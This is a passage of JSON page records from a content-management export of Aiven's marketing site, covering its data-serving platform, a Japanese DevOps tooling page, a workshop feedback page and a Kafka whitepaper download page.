AI","variant":"icon-card"},{"_key":"f2a9a7b8ae2882e61d2aedacfd9d530a","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"6fdb9f813ed8","_type":"block","children":[{"_key":"1316d8f8d2fa0","_type":"span","marks":[],"text":"Get the most out of your data with pre-built and customizable dashboards, alerting integrations, and more."}],"markDefs":[],"style":"normal"}],"title":"Dashboards \u0026 Alerts","variant":"icon-card"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-tl-br","subtitle":[{"_key":"7a5cd4e66a1e","_type":"block","children":[{"_key":"258cad2237e0","_type":"span","marks":[],"text":"Storing data is only half the battle. Aiven helps you ensure your customers are able to find the content they need, and your teams are able to benefit from real-time insights across clouds and regions. Wherever your data lives, Aiven gives you the power to put it to use -- all in one place."}],"markDefs":[],"style":"normal"}],"tagline":"Empower your applications","title":"Put your data to work","topOverlap":false},{"_key":"cdb0e2bdc1b5","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":true,"items":[{"_key":"91f0ee35b890","_ref":"fdd9525f-8e77-42b1-a3b3-b53afcef15f5","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"showCompanyLogoAndTags":false,"variant":"media"},{"_key":"gviihudsbk7z4enxwcq4qao317d2ny9t","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"left","iconSize":24,"icons":[{"_key":"43e4x0u5kufp06xagymd58owl0fhki94","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-30a5bd1f5d660a3b70fa5c8672d4e8d0ddc69e38-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"eg742ucknd1e6xzygvwk0f9bxlr7b6k7","_type":"block","children":[{"_key":"gqdsh2trcbn0hlvrqqwbkkxm349usef8","_type":"span","marks":[],"text":"Deploy services in dozens of regions in your cloud provider of choice, and migrate between them with ease. "}],"markDefs":[],"style":"normal"}],"title":"Cloud independent"},{"_key":"02kn1rvxdhigsyuruyhi2dpt8dehssq0","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c368f51b75e646afb9e988f72627e49f7a0bc862-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"ay0uvvvbygg7ik2is712vq0j7up7z3h6","_type":"block","children":[{"_key":"wvmxy4ldq5sk7f55e3ow3fwezhxh39an","_type":"span","marks":[],"text":"Choose the best search \u0026 analytics technologies from our portfolio to fit each of your use cases."}],"markDefs":[],"style":"normal"}],"title":"Open choice"},{"_key":"mck4gncuma8i8gnrpxsloxfg3lcg8pfn","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-8bf6307344286cf3f810660569ecb590fee7fca8-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"e1c9b1859547","_type":"block","children":[{"_key":"c419ee8cf27c","_type":"span","marks":[],"text":"Collect logs, capture metrics, and create pre-built dashboards with just a few clicks. Integrate with other Aiven services and third party applications alike."}],"markDefs":[],"style":"normal"}],"title":"Seamless Integrations"},{"_key":"wrn4vx4ii1g61mul90hosehqaumxhv6j","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-1e1ef44fb73b5346c388c66f74fa221fe483b422-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"9877c16c2d4e","_type":"block","children":[{"_key":"7041c9c3a71b","_type":"span","marks":[],"text":"From dynamically tiered storage to industry leading compression, get the real-time analytics you need without breaking the bank."}],"markDefs":[],"style":"normal"}],"title":"Optimized for Cost and Performance"},{"_key":"ot2f1l8k2x02xc0bqqwvkmk4mb8qarwx","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-64f09a8dbfb6760d01fa2bde6a9a105d9de6fc59-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"k40yzxmsa5va7u39xqh176taegv8brj1","_type":"block","children":[{"_key":"xdyuso6btyltkz7k1ytlg0qkqhmr17gs","_type":"span","marks":[],"text":"Scale up or down to quickly adapt to changing data volumes, velocities, and workload requirements. Replicate your data for high availability, disaster recovery, or geographical proximity."}],"markDefs":[],"style":"normal"}],"title":"Scalable and resilient"},{"_key":"39ugax2cvzkoi3553k0c84p1j5gcdqbj","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"rdt3yx6yskowq5qdf0qf02exil70276p","_type":"block","children":[{"_key":"92jf7oblbas3ncrk6l0ny5xpddta4rp7","_type":"span","marks":[],"text":"Aiven provides simple, transparent, and predicable pricing without hidden costs or complexities."}],"markDefs":[],"style":"normal"}],"title":"Predictable pricing"}],"itemsPerRow":2,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Learn more about the Aiven platform"},"roundedCorners":"rounded","subtitle":[{"_key":"9e8b88c85b5e","_type":"block","children":[{"_key":"613ad2a8b4b7","_type":"span","marks":[],"text":"From scouring mountains of data for relevant insights to ensuring sufficient retention to comply with organizational and regulatory requirements, serving and analyzing data at scale can feel overwhelming.\n\nAiven provides managed solutions based on industry leading technology to streamline how you serve your data."}],"markDefs":[],"style":"normal"},{"_key":"aedb2572f91b","_type":"block","children":[{"_key":"4f4283ac4223","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"97b07eee43e4","_type":"block","children":[{"_key":"86439fcb40b0","_type":"span","marks":[],"text":"Let Aiven manage your search and analytical services so you can spend more time building applications your customers love."}],"markDefs":[],"style":"normal"}],"tagline":"Benefits","title":"Quickly surface valuable insights"},{"_key":"559869z9rcmova8brr63kmlglbhu5ykr","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"left center","backgroundPositionMobile":"center center","backgroundSize":"contain","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"headerPosition":"default","id":"offerings","items":[{"_key":"8h16xezn2dtay3i8m31hekqiywhmes1t","_type":"cardItem","borderTopColor":{"_ref":"d880fd1e-392c-4a05-9eb1-ecbbc93753b5","_type":"reference"},"ctaLink":{"_type":"link","internalLink":{"_ref":"591f7c48-ecc0-4cb2-b7e5-c2aac4fea3aa","_type":"reference"},"title":"Learn more"},"image":{"_type":"mainImage","asset":{"_ref":"image-24f8bc050ae61d964c383f4509c62c6cb865d6ef-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"j0y2bt2jxpkm8yutlfqqukxnd93m8m8h","_type":"block","children":[{"_key":"el1us213mvvogsrek07etteib1znpcm3","_type":"span","marks":[],"text":"An open source "},{"_key":"xigzqh3jgata3bbfn7eh1omvzxdj54im","_type":"span","marks":["strong"],"text":"search and analytics suite"},{"_key":"7xi1l55ornbqr5zz4spbh6gfqk9hlqej","_type":"span","marks":[],"text":" for data-intensive applications. Common use cases include storing, searching, and analyzing log files at scale, and enhancing applications, websites, and e-commerce search capabilities. It also has built-in analytics and visualization capabilities to deliver near real-time insights."}],"markDefs":[],"style":"normal"}],"title":"Aiven for OpenSearch®","variant":"icon-card"},{"_key":"3ibylgjsl0owa3ftw7o7090xkrf9axo7","_type":"cardItem","borderTopColor":{"_ref":"d880fd1e-392c-4a05-9eb1-ecbbc93753b5","_type":"reference"},"ctaLink":{"_type":"link","internalLink":{"_ref":"37a2d4d0-b76b-41c6-9f9d-973358ee862d","_type":"reference"},"title":"Learn more"},"image":{"_type":"mainImage","asset":{"_ref":"image-41bf2f72c0a4c8def391b8bd40463dd894343541-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"sr20k8yvjm1kr2zskp5z1a0q2eih7m9q","_type":"block","children":[{"_key":"exaiappjxkp6vr5lpew0rwxzq2b43izq","_type":"span","marks":[],"text":"An open source, "},{"_key":"ovjnwq9ko5ld96wob58m41dbh0jkgrm3","_type":"span","marks":["strong"],"text":"columnar cloud data warehouse"},{"_key":"cfr6azho41caco3xt805e9ab9j656rqw","_type":"span","marks":[],"text":" that delivers real-time analytics and reports using advanced SQL queries. It delivers exceptionally high performance, excellent data compression, and a rich set of SQL extensions for analytics, and is ideal for offloading analytics from operational databases and getting real-time insights from streaming data."}],"markDefs":[],"style":"normal"}],"title":"Aiven for ClickHouse®","variant":"icon-card"},{"_key":"icgq47ntl8rh5jxef973vwro604217s4","_type":"cardItem","borderTopColor":{"_ref":"d880fd1e-392c-4a05-9eb1-ecbbc93753b5","_type":"reference"},"ctaLink":{"_type":"link","internalLink":{"_ref":"42c18edd-bcf8-4b56-8150-12787a872b60","_type":"reference"},"title":"Learn more"},"image":{"_type":"mainImage","asset":{"_ref":"image-6ae9b34c7ca56664b6e217e40c0b3e6948de81d3-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"f3fbfa28bf10","_type":"block","children":[{"_key":"443158e680c10","_type":"span","marks":[],"text":"Aiven for Grafana® is a fully managed open-source "},{"_key":"b6e80044e386","_type":"span","marks":["strong"],"text":"monitoring, visualization, and alerting suite"},{"_key":"a23af6a674ab","_type":"span","marks":[],"text":" designed for your metrics. It features ready-made, customizable dashboards and plug-and-play integrations to monitor workflows and get the big picture on your systems."}],"markDefs":[],"style":"normal"}],"title":"Aiven for Grafana®","variant":"icon-card"},{"_key":"da23d17fb0fda7822c39c1f98d6642e1","_type":"cardItem","borderTopColor":{"_ref":"d880fd1e-392c-4a05-9eb1-ecbbc93753b5","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/products/metrics","title":"Learn more"},"image":{"_type":"mainImage","asset":{"_ref":"image-85dd452da136a8d9c34d5d317508de811aa34662-48x48-svg","_type":"reference"}},"subtitle":[{"_key":"f3fbfa28bf10","_type":"block","children":[{"_key":"443158e680c10","_type":"span","marks":[],"text":"Aiven for Metrics is the ideal solution for high-volume, high cardinality, timestamped data. It’s Prometheus compatible, powered by Thanos, and perfect as a metrics database for monitoring solutions, or anywhere where there’s a high volume of data produced at high frequency. And with Aiven, you can deploy and scale up your architecture in minutes."}],"markDefs":[],"style":"normal"}],"title":"Aiven for Metrics","variant":"icon-card"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"9cd14251ac25","_type":"block","children":[{"_key":"2c72c855f4520","_type":"span","marks":[],"text":"Aiven handles the complexities of search, analytics, and observability, empowering you to serve, analyze, and observe massive amounts of data on any cloud. The "},{"_key":"0181b787bcd9","_type":"span","marks":["3d05c8d0b182"],"text":"Aiven data and AI platform"},{"_key":"988d5ddda2d3","_type":"span","marks":[],"text":" streamlines your data infrastructure, so you can focus on building engaging applications that your customers love."}],"markDefs":[{"_key":"3d05c8d0b182","_type":"internalLink","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"}}],"style":"normal"}],"title":"Our data serving platform"},{"_key":"0d753231b8a2","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"b28774450f0e","_type":"testimonialItem","company":{"_ref":"776ed73c-e4cd-4a39-8542-a086159e296d","_type":"reference"},"content":[{"_key":"59512e96ef99","_type":"block","children":[{"_key":"c8040098f357","_type":"span","marks":[],"text":"\"Having this combination of managed services from Aiven brings great value. We’ve been able to easily add new services without the hassle of onboarding a new vendor. We can operate everything from one place. The costs are transparent and it's easy for us to see the price of using other services as we plan ahead.\""}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"70bc73d4-2f43-4499-9c4f-fbf349c35841","_type":"reference"},"title":"Read the case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-71f8ecaa4cfc0cb3e65a7cf638bc534affc03881-1804x1042-png","_type":"reference"}},"jobTitle":"Head of SRE and Cloud Technology, Conrad Electric","name":"Janek Wonner"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false,"variant":"media"},{"_key":"5kffpo9ogp80mnxexze1n7x2kek0vq1g","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"roundedCorners":"rounded-t","secondaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"subtitle":[{"_key":"yzl22aup1ucob8tf2f4mk8acx037grzw","_type":"block","children":[{"_key":"iei42q5v2yj8kt2jgq9oyunz6dxwo0rd","_type":"span","marks":[],"text":"Discover "},{"_key":"4812fbee961d","_type":"span","marks":["8f2d85375190"],"text":"Aiven Platform"},{"_key":"d5af749b3651","_type":"span","marks":[],"text":" - one platform for streaming, storing, and serving data. Deliver value from your data more quickly and minimize complexity so your developers can focus on innovation – in any cloud."}],"markDefs":[{"_key":"8f2d85375190","_type":"internalLink","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"}}],"style":"normal"}],"title":"Get started with Aiven today","variant":"centerColumn"}],"seo":{"_type":"metaData","metaDescription":"Deliver valuable, trusted data to your applications in real time with tools like OpenSearch, Grafana, Prometheus, and ClickHouse.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-51b244720d37f3224106e4cd025fbb5bd0ba3f26-1200x630-jpg","_type":"reference"}},"metaTitle":"Data Analytics Platform"},"slug":{"_type":"slug","current":"/platform/serve"},"title":"Platform - Serve"} {"__i18n_base":{"_ref":"ca729b10-22a0-4d28-8492-c0b69e88b2ce","_type":"reference"},"__i18n_lang":"ja","_createdAt":"2022-09-02T16:47:28Z","_id":"ca729b10-22a0-4d28-8492-c0b69e88b2ce__i18n_ja","_rev":"IH8W45N0bFE6A9ifabgX79","_type":"page","_updatedAt":"2024-10-10T12:51:16Z","content":[{"_key":"8c961168fcf7","_type":"hero","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"description":[{"_key":"0985cde234f8","_type":"block","children":[{"_key":"1172a79d95ac0","_type":"span","marks":[],"text":"使いやすいGUI、効率的なCLI、自動化を実現するTerraformやKubernetesを活用してデータインフラを運用します。"}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":true,"imageSize":"large","primaryCTA":{"_type":"link","caption":"クレジットカードの登録は不要です。","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"rounded":false,"title":"DevOpsツール","variant":"compact"},{"_key":"de7d35666f13d54c9c0ca3a719ca5b21","_type":"textImage","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-88b2848ed2d49660e7a2b377d802062d5a6889ed-2667x1500-png","_type":"reference"}},"narrowImage":true,"rounded":false,"text":[{"_key":"c70cdc84c86f","_type":"block","children":[{"_key":"0bd5fa5cae130","_type":"span","marks":[],"text":"新しいプロジェクトやサービスの作成、監視、設定、バックアップの管理を行うことができる豊富な機能を備えたグラフィカルインターフェースが用意されています。サービスのスケーリング、統合データパイプラインの管理、クラウドとリージョンのマイグレーション、データベースのフォークなどに対応します。"}],"markDefs":[],"style":"normal"}],"title":"Aiven Console","variant":"mediaLeft"},{"_key":"198bc80e3c29","_type":"textImage","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-d2f990b3a1241ac5f93804ade186f3ba7a075181-800x800-png","_type":"reference"}},"narrowImage":true,"rounded":true,"text":[{"_key":"57b7f5051ab7","_type":"block","children":[{"_key":"b4dfc5c5bcd40","_type":"span","marks":[],"text":"Aivenのサービスの構築、設定、管理には、オープンソースのソフトウェアツール「Terraform」を使用します。大規模で複雑なインフラを調整し、インフラの構成要素を再現性のある半自動化された方法で接続する最適な方法です。"}],"markDefs":[],"style":"normal"},{"_key":"7b304657256c","_type":"block","children":[{"_key":"fcd125ffedd60","_type":"span","marks":["bc4a076b5205"],"text":"Aiven Terraform Provider"}],"markDefs":[{"_key":"bc4a076b5205","_type":"link","href":"https://github.com/aiven/terraform-provider-aiven"}],"style":"normal"}],"title":"Terraform","variant":"mediaRight"},{"_key":"195441ba4ac8","_type":"textImage","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-fa28485127966bef009785a430c697a195c9612f-800x800-png","_type":"reference"}},"narrowImage":true,"rounded":true,"text":[{"_key":"af2b71591c65","_type":"block","children":[{"_key":"aba5c0f6f9320","_type":"span","marks":[],"text":"効率的でシンプルなスクリプトによる自動化に役立つオプションです。Aiven Consoleと同じ機能を備えています。"}],"markDefs":[],"style":"normal"},{"_key":"3291843c916b","_type":"block","children":[{"_key":"618238869812","_type":"span","marks":["22811df5e722"],"text":"Aiven CLI"}],"markDefs":[{"_key":"22811df5e722","_type":"link","href":"https://github.com/aiven/aiven-client"}],"style":"normal"}],"title":"Aiven CLI (コマンドラインインターフェース)","variant":"mediaLeft"},{"_key":"d6749a7a06815b10e9e2f77e423131b7","_type":"textImage","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-781772504113fc674d358b2d1eb2d50073ee1017-800x800-webp","_type":"reference"}},"narrowImage":true,"rounded":true,"text":[{"_key":"66343f461c75","_type":"block","children":[{"_key":"e58c79feeaa80","_type":"span","marks":[],"text":"Aiven Operator for Kubernetes® を使用すると、既存のKubernetesオーケストレーションプラットフォームにAivenサービスを導入し、運用できます。プラットフォームとアプリケーションの管理を自動化する最適な方法です。Aiven for Apache Kafka® とAiven for PostgreSQL® で利用できます。"}],"markDefs":[],"style":"normal"},{"_key":"c9c7471cc766","_type":"block","children":[{"_key":"c1ea59fc64920","_type":"span","marks":["e09c296dafa6"],"text":"Aiven Operator for Kubernetes"}],"markDefs":[{"_key":"e09c296dafa6","_type":"link","href":"https://github.com/aiven/aiven-operator"}],"style":"normal"}],"title":"Kubernetes","variant":"mediaRight"},{"_key":"079fb0b929fae42910bc3bf6c8fa30c1","_type":"textImage","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-a545eafcef0d1d26d332dfa29dd8ccd334f892d7-800x800-webp","_type":"reference"}},"narrowImage":true,"rounded":false,"text":[{"_key":"4c58d6f33f74","_type":"block","children":[{"_key":"24382307215a0","_type":"span","marks":[],"text":"オープンで安全かつ強力なREST APIベースで構築されたすべてのDevOpsツールは、カスタムツールに統合されています。Aiven APIドキュメントを "},{"_key":"24382307215a1","_type":"span","marks":["d95730edcaac"],"text":"参照し"},{"_key":"64fc3dbf51a1","_type":"span","marks":[],"text":"、 Aivenのサービスをお客様のプロセスに統合してください。"}],"markDefs":[{"_key":"d95730edcaac","_type":"link","href":"https://api.aiven.io/doc/"}],"style":"normal"},{"_key":"ad28626a3df5","_type":"block","children":[{"_key":"7be174b4e6770","_type":"span","marks":[],"text":"Aivenのお客様の活発なコミュニティも、さまざまな統合機能をオープンソースとして提供しています。例として以下のものをご覧ください。"}],"markDefs":[],"style":"normal"},{"_key":"4ba8cc10b4ab","_type":"block","children":[{"_key":"4d437b9af1220","_type":"span","marks":["fa724916045a"],"text":"Aiven-rs、非同期Rust SDK for Aiven"}],"markDefs":[{"_key":"fa724916045a","_type":"link","href":"https://github.com/ansrivas/aiven-rs"}],"style":"normal"},{"_key":"ece631aa803b","_type":"block","children":[{"_key":"cab9948b95ab0","_type":"span","marks":["1a6b6d5dcd55"],"text":"Kubernetesを介したApache Kafka® セルフサービス機能"}],"markDefs":[{"_key":"1a6b6d5dcd55","_type":"link","href":"https://github.com/nais/kafkarator"}],"style":"normal"},{"_key":"4e35ba03eda0","_type":"block","children":[{"_key":"e9895c27e2b60","_type":"span","marks":["472fafe03b12"],"text":"クラウド上のAivenリソースを管理するAiven Resource Provider"}],"markDefs":[{"_key":"472fafe03b12","_type":"link","href":"https://github.com/pulumi/pulumi-aiven"}],"style":"normal"},{"_key":"430fe08b57b9","_type":"block","children":[{"_key":"fcdc8503cd3a0","_type":"span","marks":["8ad31820941c"],"text":"Open Service Broker APIに準拠したAiven Service Broker"}],"markDefs":[{"_key":"8ad31820941c","_type":"link","href":"https://github.com/alphagov/paas-aiven-broker"}],"style":"normal"}],"title":"API","variant":"mediaLeft"}],"seo":{"_type":"metaData","metaDescription":"Aiven Console GUIで使い始め、効率化のためにコマンドラインインターフェース(CLI)に変更し、TerraformやKubernetesで運用を自動化することも可能です。","metaImage":{"_type":"mainImage","asset":{"_ref":"image-2cc7607cee4ea7c93c4b502ff4d1321f06585f91-1200x630-jpg","_type":"reference"}},"metaTitle":"DevOpsツール | Aiven"},"slug":{"_type":"slug","current":"/devops"},"title":"DevOps Tooling"} {"__i18n_lang":"en","_createdAt":"2024-05-28T10:00:00Z","_id":"6972625b-31d5-47e6-8ae3-3fa82faadc74","_rev":"Tpe1Rj6o9fDmGqbWvmrtcs","_type":"page","_updatedAt":"2024-10-11T12:42:35Z","content":[{"_key":"a0db3f2dd19b","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","breadcrumbs":{"parentPage":{"_type":"link","internalLink":{"_ref":"8dd9ba31-2945-46f4-ba71-27307ee82f3f","_type":"reference"},"title":"Developer Workshops"}},"description":[{"_key":"f42a4b6e04d9","_type":"block","children":[{"_key":"943310a718f90","_type":"span","marks":[],"text":"We hope you had a great time!\nAny feedback for us? Feel free to share your thoughts on our feedback form!"}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-d7e5106f46455bf447df91124e41364153e604e3-2250x2250-png","_type":"reference"}},"imageSize":"small","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","caption":"Help us to improve your experience","externalUrl":"https://form.typeform.com/to/K3NDnZm7","title":"Submit feedback"},"roundedCorners":"rounded-none","title":"Thank you for attending our workshop!","titleMultiColor":false,"variant":"default"},{"_key":"ed40323e07de","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"a8db57da771d","_ref":"8fdcb25c-b824-48cb-9906-f8e6213af63f","_type":"devArticle"},{"_key":"cc1f638754ea","_ref":"7c922c7d-e791-4c33-a86a-0aa413cf7449","_type":"devArticle"},{"_key":"8540028233ff","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"8dd9ba31-2945-46f4-ba71-27307ee82f3f","_type":"reference"},"title":"Upcoming live workshops"},"image":{"_type":"mainImage","alt":"Developer workshops","asset":{"_ref":"image-9f5a2db183e4e5bffcad8c3a9430a2a595343d0d-6000x3375-png","_type":"reference"}},"subtitle":[{"_key":"9b3ad5cc614e","_type":"block","children":[{"_key":"6a13a13d36730","_type":"span","marks":[],"text":"Learn online how to store, stream, or process your data with our developer advocates in these free workshops."}],"markDefs":[],"style":"normal"}],"tagline":"Learn online","title":"Developer workshops","variant":"default"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"},{"_key":"f1f7f561b75c","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","alt":"Aiven Community Forum"},"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/community/forum/","title":"Join the forum "},"roundedCorners":"rounded-none","tagline":"Aiven Community Forum","text":[{"_key":"666c8e64caa5","_type":"block","children":[{"_key":"7d13ae66af6a0","_type":"span","marks":[],"text":"Ask questions, collaborate on open source, and find resources from our meetups."}],"markDefs":[],"style":"normal"}],"title":"Continue the conversation","variant":"mediaCenter"}],"internalTags":[{"_key":"83aca2737b6a","_ref":"8dba8149-1dd0-4856-baf0-d8f852d7f6bd","_type":"tag"}],"seo":{"_type":"metaData","excludeFromSitemap":true,"metaDescription":"Any feedback for us? Feel free to share your thoughts on our feedback form!","metaImage":{"_type":"mainImage","alt":"Aiven developer advocates","asset":{"_ref":"image-9f5a2db183e4e5bffcad8c3a9430a2a595343d0d-6000x3375-png","_type":"reference"}},"metaTitle":"Thank you for attending our developer workshop!"},"slug":{"_type":"slug","current":"/workshop-feedback"},"title":"Thank you for attending the workshop"} {"__i18n_lang":"en","_createdAt":"2025-01-08T12:01:31Z","_id":"7138f94f-ccc0-4f34-bfdb-9b88881bbd24","_rev":"aLIIQ7Q5L2eXkJOQZRh2rJ","_type":"page","_updatedAt":"2025-01-09T14:17:06Z","content":[{"_key":"55335cab26a8","_type":"iframe","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":false,"headerPosition":"left","iframeHeight":500,"iframeSource":"https://go.aiven.io/l/890043/2025-01-08/vvv57","iframeTitle":"Get your copy of whitepaper \"Why Apache Kafka®\"","isPardotForm":true,"noSpaceBottom":false,"noSpaceTop":false,"pardotFormType":"download","roundedCorners":"rounded-none","subtitle":[{"_key":"3321c0051067","_type":"block","children":[{"_key":"acc7f52e1ed40","_type":"span","marks":[],"text":"Discover how Apache Kafka is transforming data processing across industries in our expert-written guide, "},{"_key":"acc7f52e1ed41","_type":"span","marks":["em"],"text":"Why Apache Kafka?"},{"_key":"acc7f52e1ed42","_type":"span","marks":[],"text":" Co-authored by industry experts Francesco Tisiot and Anatoly Zelenin, this white paper explores the fundamentals and advanced concepts of Kafka’s role in modern data architecture."}],"markDefs":[],"style":"normal"},{"_key":"1395d7fc5782","_type":"block","children":[{"_key":"6265c276e3610","_type":"span","marks":["strong"],"text":"Inside, you’ll learn about:"}],"markDefs":[],"style":"normal"},{"_key":"ae582aa30beb","_type":"block","children":[{"_key":"ad6e3b4e5e260","_type":"span","marks":[],"text":"The evolution from batch systems to real-time data insights."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1b80d7765f96","_type":"block","children":[{"_key":"2596bc92927d0","_type":"span","marks":[],"text":"Kafka’s role as a data hub in microservice architectures."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1d9463322055","_type":"block","children":[{"_key":"7583ed61766a0","_type":"span","marks":[],"text":"Integrating Kafka with existing technology and creating streaming pipelines."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"bbcb981c1cb5","_type":"block","children":[{"_key":"d715254272e60","_type":"span","marks":[],"text":"How organizations are leveraging Kafka as part of the Apache Kafka ecosystem."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7417953c1ced","_type":"block","children":[{"_key":"60d83277e2950","_type":"span","marks":[],"text":"Whether you're exploring Kafka for the first time or looking to deepen your understanding, this guide has insights for everyone."}],"markDefs":[],"style":"normal"}],"tagline":"Whitepaper","title":"Why Apache Kafka®","titleAsH1":true,"topOverlap":false}],"seo":{"_type":"metaData","excludeFromSitemap":true,"metaDescription":"Explore the fundamentals of Apache Kafka, real-time data processing, microservices, and the data mesh in our expert-written guide. Download now!","metaImage":{"_type":"mainImage","alt":"Why Apache Kafka whitepaper","asset":{"_ref":"image-8458f3e8dabeb6b2e1afbb8d167a28b7151836b7-1200x630-png","_type":"reference"}},"metaTitle":"Why Apache Kafka? A Guide to Real-Time Data Processing"},"slug":{"_type":"slug","current":"/why-apache-kafka"},"tags":[{"_key":"0f79f68cb46d","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"0507d07ea3fe","_ref":"d0c7bf3b-528b-4883-ab1c-27409f645959","_type":"tag"}],"title":"Why Apache Kafka®"} 